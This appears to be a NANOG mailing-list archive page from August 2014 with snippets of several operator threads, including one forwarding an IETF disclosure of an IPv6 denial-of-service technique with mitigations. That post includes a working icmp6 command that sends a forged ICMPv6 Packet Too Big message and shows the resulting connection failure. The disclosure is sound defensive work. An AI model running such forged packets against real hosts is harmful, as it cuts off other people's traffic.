- Test - lists.nanog.org

Huawei's Versatile Routing Platform (VRP)
by Colton Conor 20 Aug '14

20 Aug '14

How does Huawei's Versatile Routing Platform (VRP) operating system that is on their switches and routers compare to Cisco IOS or Juniper JunOS? Is the CLI syntax similar? How is the overall feature set? Would a tech that knows cisco be able to understand Huawei fairly easy? The pricing and feature set for Huawei's products are impressive, but no one ever seems to talk about their products? They claim to have multiple routers that smoke Cisco and Juniper platforms.We are talking Tbps platforms. What are the overall thoughts on Huawei?

5 4

Re: Urgent
by Scott Weeks 20 Aug '14

20 Aug '14

>> -----Original Message----- >> Contact for God, please reach out to me offlist. >> >> Regards, >> -AS666 NOC -------------------------------------- ASN 666 is the US army. I was curious a long time ago and looked it up... ;-) scott

10 12

Fwd: DoS attacks (ICMPv6-based) resulting from IPv6 EH drops
by Fernando Gont 19 Aug '14

19 Aug '14

Folks, FYI -- currently being discussed on v6ops(a)ietf.org Cheers, Fernando -------- Forwarded Message -------- Subject: DoS attacks (ICMPv6-based) resulting from IPv6 EH drops Date: Tue, 19 Aug 2014 09:00:15 -0300 From: Fernando Gont <fgont(a)si6networks.com> To: IPv6 Operations <v6ops(a)ietf.org> CC: 'opsec(a)ietf.org' <opsec(a)ietf.org> Folks, Ten days ago or so we published this I-D: <http://www.ietf.org/internet-drafts/draft-gont-v6ops-ipv6-ehs-in-real-world…> Section 5.2 of the I-D discusses a possible attack vector based on a combination of "forged" ICMPv6 PTB messages and IPv6 frag drops by operators, along with proposed countermeasures -- on which we'd like to hear your comments. Since Section 5.2 is in the draft, let me offer a more informal and practical explanation: 1) It is known that filtering of packets containing IPv6 Extension Headers (including the Fragment Header) is widespread (see our I-D above) 2) Let us assume that Host A is communicating with Server B, and that some node filters fragments between Host A and Server B. 3) An attacker sends a spoofed ICMPv6 PTB to server B, with a "Next Hop MTU<1280), in the hopes of eliciting "atomic fragments" (see <http://tools.ietf.org/rfc/rfc6946.txt>) from now on. 4) Now server B starts sending IPv6 atomic fragments... And since they include a frag header (and in '2)' above we noted that frags are dropped on that path), these packets get dropped (i.e., DoS). "Demo" with the icmp6 tool (<http://www.si6networks.com/tools/ipv6toolkit>) -- (some addresses have been changed (anonimized), but it is trivial to pick a victim server...) "2001:db8:1:10:0:1991:8:25" is the server, and "2001:5c0:1000:a::e7d" is my own address): ---- cut here ---- ***** First of all, I telnet to port 80 of the server, and everything works as expected **** fgont@satellite:~$ telnet 2001:db8:1:10:0:1991:8:25 80 Trying 2001:db8:1:10:0:1991:8:25... Connected to 2001:db8:1:10:0:1991:8:25. Escape character is '^]'. ^CConnection closed by foreign host. **** Now I send the forget ICMPv6 PTB **** fgont@satellite:~$ sudo icmp6 --icmp6-packet-too-big -d 2001:db8:1:10:0:1991:8:25 --peer-addr 2001:5c0:1000:a::e7d --mtu 1000 -o 80 -v icmp6: Security assessment tool for attack vectors based on ICMPv6 error messages IPv6 Source Address: 2001:5c0:1000:a::e7d (automatically selected) IPv6 Destination Address: 2001:db8:1:10:0:1991:8:25 IPv6 Hop Limit: 227 (randomized) ICMPv6 Packet Too Big (Type 2), Code 0 Next-Hop MTU: 1000 Payload Type: IPv6/TCP (default) Source Address: 2001:db8:1:10:0:1991:8:25 (automatically-selected) Destination Address: 2001:5c0:1000:a::e7d Hop Limit: 237 (randomized) Source Port: 80 Destination Port: 38189 (randomized) SEQ Number: 734463213 (randomized) ACK Number: 866605720 (randomized) Flags: A (default) Window: 18944 (randomized) URG Pointer: 0 (default) Initial attack packet(s) sent successfully. ***** And now I try the same telnet command as above... but it fails, because the frags from the server to me are getting dropped somewhere **** fgont@satellite:~$ telnet 2001:db8:1:10:0:1991:8:25 80 Trying 2001:db8:1:10:0:1991:8:25... [timeout] ---- cut here ---- Of course, in this particular case I just "shot myself". But one could do this to DoS connections between mailservers, etc. A nice question is: what if e.g.... 1) some BGP servers accept ICMPv6 PTB that claim an MTU < 1280, and react (as expected) by generating atomic fragments, *and*, 2) These same BGP servers deem fragmentation as "harmful", and hence drop such fragments you could essentially DoS traffic between them As noted in the I-D, the mitigations seem to be: 1) Artificially limit your packets to 1280, and drop all incoming ICMPv6 PTB, or, 2) Have your device just drop ICMPv6 PTB that claim a Next-Hop MTU smaller than 1280. Thoughts? -- Fernando Gont SI6 Networks e-mail: fgont(a)si6networks.com PGP Fingerprint: 6666 31C6 D484 63B2 8FB1 E3C4 AE25 0D55 1D4E 7492 -- Fernando Gont e-mail: fernando(a)gont.com.ar || fgont(a)si6networks.com PGP Fingerprint: 7809 84F5 322E 45C7 F1C9 3945 96EE A9EF D076 FFF1

1 0

Akamai charges for IPv6 support?
by Aaron Hopkins 19 Aug '14

19 Aug '14

Is it normal to bill for IPv6 service as a separate product? I was surprised to hear from from my Akamai rep they they do: > Hi Aaron, We can add the IPV6 service to the contract at an additional > cost of $XXX/month. Please let me know if you would like to go ahead with > the service and I can create the contract and send it for your review. I've been working on adding IPv6 support to my current project on my own time, and am now ready to enable it. But as soon as there is a recurring cost associated with IPv6 support, I need to be able to justify it. And I'm afraid that I can't currently explain a benefit of enabling IPv6 for our users. I'll likely end up not doing so while we're still an Akamai customer. It's Akamai's network, so it's their choice. But big players adding friction to enabling IPv6 certainly doesn't seem in everyone's best interests in the long-term. -- Aaron

15 19

Re: Urgent
by Joel M Snyder 19 Aug '14

19 Aug '14

> OP is a troll, best to ignore and block: Be nice. Randy can be abrasive, but calling him a troll seems out of line. I like to think of him as a hobbit with shorter temper than average. Not everyone here will agree with me :-) jms -- Joel M Snyder, 1404 East Lind Road, Tucson, AZ, 85719 Senior Partner, Opus One Phone: +1 520 324 0494 jms(a)Opus1.COM http://www.opus1.com/jms

1 0

Is LinkedIn down?
by stuart clark 18 Aug '14

18 Aug '14

Trace/tcptrace to 108.174.2.129 via Level3 - last hop is on the Linked/Level3 edge: 14 LINKEDIN-CO.edge3.Washington4.Level3.net (4.53.116.150) 76.034 ms 76.069 ms 76.066 ms Via telia.net 16 236 ms 221 ms * linkedin-ic-301441-ash-b1.c.telia.net [213.248.103.190] 17 * * * Request timed out. 18 259 ms 265 ms * 108.174.2.129 19 257 ms 299 ms 256 ms 108.174.2.129 No reply from LinkedIn support, but i see plenty of Verizon and Level3 customers cannot access LinkedIn for 24 hrs. 216.52.242.113 works ok. -SC (ASN25605)

6 9

Urgent...
by Richard Golodner 18 Aug '14

18 Aug '14

All kidding aside, did someone contact the OP off-list to get him the help he needs? Richard

1 0

Re: Urgent
by Larry Sheldon 18 Aug '14

18 Aug '14

On 8/18/2014 12:00, randy(a)psg.com wrote: > Contact for God, please reach out to me offlist. > > Regards, > -AS666 NOC > This is one where YOU have to initiate the contact--response is certain but response content may be other-than-hoped-for. -- The unique Characteristics of System Administrators: The fact that they are infallible; and, The fact that they learn form their mistakes.

1 0

So Philip Smith / Geoff Huston's CIDR report becomes worth a good hard look today
by Suresh Ramasubramanian 18 Aug '14

18 Aug '14

512K routes, here we come. Lots of TCAM based routers suddenly become really expensive doorstops. Maybe time to revisit this old 2007 nanog thread? http://www.gossamer-threads.com/lists/engine?do=post_view_flat;post=99870;p… FYI nanog - https://puck.nether.net/pipermail/outages/2014-August/007091.html [outages] Major outages today, not much info at this time Teun Vink teun at teun.tv Tue Aug 12 11:42:05 EDT 2014 On di, 2014-08-12 at 15:20 +0000, Hoyle Anderson (AM) via Outages wrote: > I know this isn’t much help, but there are major problems with > multiple ISPs since around 4-5 AM EST. I really don’t have much > detail, but I have sites that are unreachable from some providers. > Looks like Comcast, level3, ATT, cogent, etc. > > > > So, it’s probably not just you, but I’m afraid I don’t know who it is. > I heard one report of a datacenter outage. > Hi, Some routing tables hit 512K routes today. Some old hardware and software can't handle that and either crash or ignore newly learned routes. So this may cause some disturbances in the force. HTH, Teun -----------------

22 37

Re: Verizon FiOS contact
by Chris R. Thompson 17 Aug '14

17 Aug '14

Umm.. Who was this for? Christopher On Aug 17, 2014 1:31 PM, "Zaid A. Kahn" <zaid(a)zaidali.com> wrote: > > Please ping me off list. > > Zaid > > Sent from my iPhone Please ping me off list. Zaid Sent from my iPhone

1 0